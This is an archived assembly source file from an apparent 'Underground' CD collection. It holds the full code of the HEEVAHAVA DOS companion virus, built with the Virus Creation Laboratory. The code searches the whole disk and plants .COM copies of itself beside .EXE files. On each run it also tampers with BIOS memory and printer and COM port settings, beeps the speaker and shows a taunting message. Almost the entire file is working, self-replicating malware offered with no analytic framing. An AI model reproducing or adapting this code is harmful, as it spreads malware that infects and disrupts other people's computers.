home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / h / heevahav.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.6 KB  |  297 lines

  1. ; HEEVAHAV.ASM -- HEEVAHAVA VIRUS
  2.  
  3. ; Created with Nowhere Man's Virus Creation Laboratory v1.00/TASM
  4.  
  5. ; Written by URNST KOUCH
  6.  
  7. ; This is a spawning virus I decided to take to the limit,
  8.  
  9. ; to step on the accelerator of the VCL, so to speak.
  10.  
  11. ; HEEVAHAVA virus is a 'companion' .EXE infector which will attempt
  12.  
  13. ; to infect almost 20 files anywhere on the disk every run. It will mess
  14.  
  15. ; with low RAM, beep the speaker, disable COM port 1, entangle LPT1 and LPT2,
  16.  
  17. ; nullify print screen and finally, when the disk is completely saturated
  18.  
  19. ; with HEEVAHAVA virus it will display the msg, "Only heeva-hava's get stuck
  20.  
  21. ; with the HEEVAHAVA virus!" Note: a 'heevahava' is a Pennsylvania
  22.  
  23. ; Dutch pejorative. Colloquially, it was the name given to the farmhand
  24.  
  25. ; given the job of holding the bull's pecker while semen was collected.
  26.  
  27.  
  28.  
  29. virus_type      equ     2                       ; Spawning Virus
  30.  
  31. is_encrypted    equ     0                       ; We're not encrypted
  32.  
  33. tsr_virus       equ     0                       ; We're not TSR
  34.  
  35.  
  36.  
  37. code            segment byte public
  38.  
  39.         assume  cs:code,ds:code,es:code,ss:code
  40.  
  41.         org     0100h
  42.  
  43.  
  44.  
  45. start           label   near
  46.  
  47.  
  48.  
  49. main            proc    near
  50.  
  51.  
  52.  
  53.         mov     ah,04Ah                 ; DOS resize memory function
  54.  
  55.         mov     bx,[finish - start / 0282h]  ; BX holds # of para.
  56.  
  57.         int     21h
  58.  
  59.  
  60.  
  61.         mov     sp,(finish - start) + 01100h  ; Change top of stack
  62.  
  63.  
  64.  
  65.         mov     si,offset spawn_name    ; SI points to true filename
  66.  
  67.         int     02Eh                    ; DOS execution back-door
  68.  
  69.         push    ax                      ; Save return value for later
  70.  
  71.  
  72.  
  73.         mov     ax,cs                   ; AX holds code segment
  74.  
  75.         mov     ds,ax                   ; Restore data segment
  76.  
  77.         mov     es,ax                   ; Restore extra segment
  78.  
  79.  
  80.  
  81.         mov     cx,0013h                ; Do 19 infections
  82.  
  83. search_loop:    push    cx                      ; Save CX
  84.  
  85.         call    search_files            ; Find and infect a file
  86.  
  87.         pop     cx                      ; Restore CX
  88.  
  89.         loop    search_loop             ; Repeat until CX is 0
  90.  
  91.  
  92.  
  93.         mov     dx,0064h                ; First argument is 100
  94.  
  95.         push    es                      ; Save ES
  96.  
  97.         mov     ax,040h                 ; Set extra segment to 040h
  98.  
  99.         mov     es,ax                   ; (ROM BIOS)
  100.  
  101.         mov     word ptr es:[013h],dx   ; Store new RAM ammount
  102.  
  103.         pop     es                      ; Restore ES
  104.  
  105.  
  106.  
  107.         mov     cx,0005h                ; First argument is 5
  108.  
  109.         jcxz    beep_end                ; Exit if there are no beeps
  110.  
  111.         mov     ax,0E07h                ; BIOS display char., BEL
  112.  
  113. beep_loop:      int     010h                    ; Beep
  114.  
  115.         loop    beep_loop               ; Beep until --CX = 0
  116.  
  117. beep_end:
  118.  
  119.  
  120.  
  121.         push    es                      ; Save ES
  122.  
  123.         mov     ax,050h                 ; Set the extra segement to
  124.  
  125.         mov     es,ax                   ; the BIOS area
  126.  
  127.         mov     byte ptr [0000h],1      ; Set print screen flag to
  128.  
  129.         pop     es                      ; "printing," restore ES
  130.  
  131.  
  132.  
  133.         mov     si,0001h                ; First argument is 1
  134.  
  135.         push    es                      ; Save ES
  136.  
  137.         xor     ax,ax                   ; Set the extra segment to
  138.  
  139.         mov     es,ax                   ; zero (ROM BIOS)
  140.  
  141.         shl     si,1                    ; Convert to word index
  142.  
  143.         mov     word ptr [si + 03FEh],0 ; Zero COM port address
  144.  
  145.         pop     es                      ; Restore ES
  146.  
  147.  
  148.  
  149.         mov     bx,0001h                ; First argument is 1
  150.  
  151.         mov     si,0002h                ; Second argument is 2
  152.  
  153.         push    es                      ; Save ES
  154.  
  155.         xor     ax,ax                   ; Set the extra segment to
  156.  
  157.         mov     es,ax                   ; zero (ROM BIOS)
  158.  
  159.         shl     bx,1                    ; Convert to word index
  160.  
  161.         shl     si,1                    ; Convert to word index
  162.  
  163.         mov     ax,word ptr [bx + 0407h]; Zero COM port address
  164.  
  165.         xchg    word ptr [si + 0407h],ax; Put first value in second,
  166.  
  167.         mov     word ptr [bx + 0407h],ax; and second value in first!
  168.  
  169.         pop     es                      ; Restore ES
  170.  
  171.  
  172.  
  173.         call    infected_all
  174.  
  175.         or      ax,ax                   ; Did the function return zero?
  176.  
  177.         je      strt00                  ; If equal, do effect
  178.  
  179.         jmp     end00                   ; Otherwise skip over it
  180.  
  181. strt00:         mov     si,offset data00        ; SI points to data
  182.  
  183.         mov     ah,0Eh                  ; BIOS display char. function
  184.  
  185. display_loop:   lodsb                           ; Load the next char. into AL
  186.  
  187.         or      al,al                   ; Is the character a null?
  188.  
  189.         je      disp_strnend            ; If it is, exit
  190.  
  191.         int     010h                    ; BIOS video interrupt
  192.  
  193.         jmp     short display_loop      ; Do the next character
  194.  
  195. disp_strnend:
  196.  
  197.  
  198.  
  199. end00:          pop     ax                      ; AL holds return value
  200.  
  201.         mov     ah,04Ch                 ; DOS terminate function
  202.  
  203.         int     021h
  204.  
  205. main            endp
  206.  
  207.  
  208.  
  209. search_files    proc    near
  210.  
  211.         push    bp                      ; Save BP
  212.  
  213.         mov     bp,sp                   ; BP points to local buffer
  214.  
  215.         sub     sp,64                   ; Allocate 64 bytes on stack
  216.  
  217.  
  218.  
  219.         mov     ah,047h                 ; DOS get current dir function
  220.  
  221.         xor     dl,dl                   ; DL holds drive # (current)
  222.  
  223.         lea     si,[bp - 64]            ; SI points to 64-byte buffer
  224.  
  225.         int     021h
  226.  
  227.  
  228.  
  229.         mov     ah,03Bh                 ; DOS change directory function
  230.  
  231.         mov     dx,offset root          ; DX points to root directory
  232.  
  233.         int     021h
  234.  
  235.  
  236.  
  237.         call    traverse                ; Start the traversal
  238.  
  239.  
  240.  
  241.         mov     ah,03Bh                 ; DOS change directory function
  242.  
  243.         lea     dx,[bp - 64]            ; DX points to old directory
  244.  
  245.         int     021h
  246.  
  247.  
  248.  
  249.         mov     sp,bp                   ; Restore old stack pointer
  250.  
  251.         pop     bp                      ; Restore BP
  252.  
  253.         ret                             ; Return to caller
  254.  
  255.  
  256.  
  257. root            db      "\",0                   ; Root directory
  258.  
  259. search_files    endp
  260.  
  261.  
  262.  
  263. traverse        proc    near
  264.  
  265.         push    bp                      ; Save BP
  266.  
  267.  
  268.  
  269.         mov     ah,02Fh                 ; DOS get DTA function
  270.  
  271.         int     021h
  272.  
  273.         push    bx                      ; Save old DTA address
  274.  
  275.  
  276.  
  277.         mov     bp,sp                   ; BP points to local buffer
  278.  
  279.         sub     sp,128                  ; Allocate 128 bytes on stack
  280.  
  281.  
  282.  
  283.         mov     ah,01Ah                 ; DOS set DTA function
  284.  
  285.         lea     dx,[bp - 128]           ; DX points to buffer
  286.  
  287.         int     021h
  288.  
  289.  
  290.  
  291.         mov     ah,04Eh                 ; DOS find first function
  292.  
  293.         mov     cx,00010000b            ; CX holds search attributes
  294.  
  295.         mov     dx,offset all_files     ; DX points to "*.*"
  296.  
  297.         int     021h
  298.  
  299.         jc      leave_traverse          ; Leave if no files present
  300.  
  301.  
  302.  
  303. check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
  304.  
  305.         jne     another_dir             ; If not, try again
  306.  
  307.         cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
  308.  
  309.         je      another_dir             ;If so, keep going
  310.  
  311.  
  312.  
  313.         mov     ah,03Bh                 ; DOS change directory function
  314.  
  315.         lea     dx,[bp - 98]            ; DX points to new directory
  316.  
  317.         int     021h
  318.  
  319.  
  320.  
  321.         call    traverse                ; Recursively call ourself
  322.  
  323.  
  324.  
  325.         pushf                           ; Save the flags
  326.  
  327.         mov     ah,03Bh                 ; DOS change directory function
  328.  
  329.         mov     dx,offset up_dir        ; DX points to parent directory
  330.  
  331.         int     021h
  332.  
  333.         popf                            ; Restore the flags
  334.  
  335.  
  336.  
  337.         jnc     done_searching          ; If we infected then exit
  338.  
  339.  
  340.  
  341. another_dir:    mov     ah,04Fh                 ; DOS find next function
  342.  
  343.         int     021h
  344.  
  345.         jnc     check_dir               ; If found check the file
  346.  
  347.  
  348.  
  349. leave_traverse:
  350.  
  351.         mov     dx,offset exe_mask      ; DX points to "*.EXE"
  352.  
  353.         call    find_files              ; Try to infect a file
  354.  
  355. done_searching: mov     sp,bp                   ; Restore old stack frame
  356.  
  357.         mov     ah,01Ah                 ; DOS set DTA function
  358.  
  359.         pop     dx                      ; Retrieve old DTA address
  360.  
  361.         int     021h
  362.  
  363.  
  364.  
  365.         pop     bp                      ; Restore BP
  366.  
  367.         ret                             ; Return to caller
  368.  
  369.  
  370.  
  371. up_dir          db      "..",0                  ; Parent directory name
  372.  
  373. all_files       db      "*.*",0                 ; Directories to search for
  374.  
  375. exe_mask        db      "*.EXE",0               ; Mask for all .EXE files
  376.  
  377. traverse        endp
  378.  
  379.  
  380.  
  381. find_files      proc    near
  382.  
  383.         push    bp                      ; Save BP
  384.  
  385.  
  386.  
  387.         mov     ah,02Fh                 ; DOS get DTA function
  388.  
  389.         int     021h
  390.  
  391.         push    bx                      ; Save old DTA address
  392.  
  393.  
  394.  
  395.         mov     bp,sp                   ; BP points to local buffer
  396.  
  397.         sub     sp,128                  ; Allocate 128 bytes on stack
  398.  
  399.  
  400.  
  401.         push    dx                      ; Save file mask
  402.  
  403.         mov     ah,01Ah                 ; DOS set DTA function
  404.  
  405.         lea     dx,[bp - 128]           ; DX points to buffer
  406.  
  407.         int     021h
  408.  
  409.  
  410.  
  411.         mov     ah,04Eh                 ; DOS find first file function
  412.  
  413.         mov     cx,00100111b            ; CX holds all file attributes
  414.  
  415.         pop     dx                      ; Restore file mask
  416.  
  417. find_a_file:    int     021h
  418.  
  419.         jc      done_finding            ; Exit if no files found
  420.  
  421.         call    infect_file             ; Infect the file!
  422.  
  423.         jnc     done_finding            ; Exit if no error
  424.  
  425.         mov     ah,04Fh                 ; DOS find next file function
  426.  
  427.         jmp     short find_a_file       ; Try finding another file
  428.  
  429.  
  430.  
  431. done_finding:   mov     sp,bp                   ; Restore old stack frame
  432.  
  433.         mov     ah,01Ah                 ; DOS set DTA function
  434.  
  435.         pop     dx                      ; Retrieve old DTA address
  436.  
  437.         int     021h
  438.  
  439.  
  440.  
  441.         pop     bp                      ; Restore BP
  442.  
  443.         ret                             ; Return to caller
  444.  
  445. find_files      endp
  446.  
  447.  
  448.  
  449. infect_file     proc    near
  450.  
  451.         mov     ah,02Fh                 ; DOS get DTA address function
  452.  
  453.         int     021h
  454.  
  455.         mov     di,bx                   ; DI points to the DTA
  456.  
  457.  
  458.  
  459.         lea     si,[di + 01Eh]          ; SI points to file name
  460.  
  461.         mov     dx,si                   ; DX points to file name, too
  462.  
  463.         mov     di,offset spawn_name + 1; DI points to new name
  464.  
  465.         xor     ah,ah                   ; AH holds character count
  466.  
  467. transfer_loop:  lodsb                           ; Load a character
  468.  
  469.         or      al,al                   ; Is it a NULL?
  470.  
  471.         je      transfer_end            ; If so then leave the loop
  472.  
  473.         inc     ah                      ; Add one to the character count
  474.  
  475.         stosb                           ; Save the byte in the buffer
  476.  
  477.         jmp     short transfer_loop     ; Repeat the loop
  478.  
  479. transfer_end:   mov     byte ptr [spawn_name],ah; First byte holds char. count
  480.  
  481.         mov     byte ptr [di],13        ; Make CR the final character
  482.  
  483.  
  484.  
  485.         mov     di,dx                   ; DI points to file name
  486.  
  487.         xor     ch,ch                   ;
  488.  
  489.         mov     cl,ah                   ; CX holds length of filename
  490.  
  491.         mov     al,'.'                  ; AL holds char. to search for
  492.  
  493.     repne   scasb                           ; Search for a dot in the name
  494.  
  495.         mov     word ptr [di],'OC'      ; Store "CO" as first two bytes
  496.  
  497.         mov     byte ptr [di + 2],'M'   ; Store "M" to make "COM"
  498.  
  499.  
  500.  
  501.         mov     byte ptr [set_carry],0  ; Assume we'll fail
  502.  
  503.         mov     ax,03D00h               ; DOS open file function, r/o
  504.  
  505.         int     021h
  506.  
  507.         jnc     infection_done          ; File already exists, so leave
  508.  
  509.         mov     byte ptr [set_carry],1  ; Success -- the file is OK
  510.  
  511.  
  512.  
  513.         mov     ah,03Ch                 ; DOS create file function
  514.  
  515.         mov     cx,00100111b            ; CX holds file attributes (all)
  516.  
  517.         int     021h
  518.  
  519.         xchg    bx,ax                   ; BX holds file handle
  520.  
  521.  
  522.  
  523.         mov     ah,040h                 ; DOS write to file function
  524.  
  525.         mov     cx,finish - start       ; CX holds virus length
  526.  
  527.         mov     dx,offset start         ; DX points to start of virus
  528.  
  529.         int     021h
  530.  
  531.  
  532.  
  533.         mov     ah,03Eh                 ; DOS close file function
  534.  
  535.         int     021h
  536.  
  537.  
  538.  
  539. infection_done: cmp     byte ptr [set_carry],1  ; Set carry flag if failed
  540.  
  541.         ret                             ; Return to caller
  542.  
  543.  
  544.  
  545. spawn_name      db      12,12 dup (?),13        ; Name for next spawn
  546.  
  547. set_carry       db      ?                       ; Set-carry-on-exit flag
  548.  
  549. infect_file     endp
  550.  
  551.  
  552.  
  553.  
  554.  
  555. infected_all    proc    near
  556.  
  557. #if virus_type  eq      0
  558.  
  559.         mov     al,byte ptr [di + set_carry]
  560.  
  561.         else
  562.  
  563.         mov     al,byte ptr [set_carry] ; AX holds success value
  564.  
  565. #endif
  566.  
  567.         cbw                             ; Sign-extend AL into AX
  568.  
  569.         ret                             ; Return to caller
  570.  
  571. infected_all    endp
  572.  
  573.  
  574.  
  575. data00          db   7,7,7,7,"Only heeva-hava's get stuck with THE HEEVAHAVA virus!",13,10,0
  576.  
  577.  
  578.  
  579. vcl_marker      db      "HEEVA[VCL]",0               ; VCL creation marker
  580.  
  581.  
  582.  
  583. finish          label   near
  584.  
  585.  
  586.  
  587. code            ends
  588.  
  589.         end     main
  590.  
  591.  
  592.  
  593.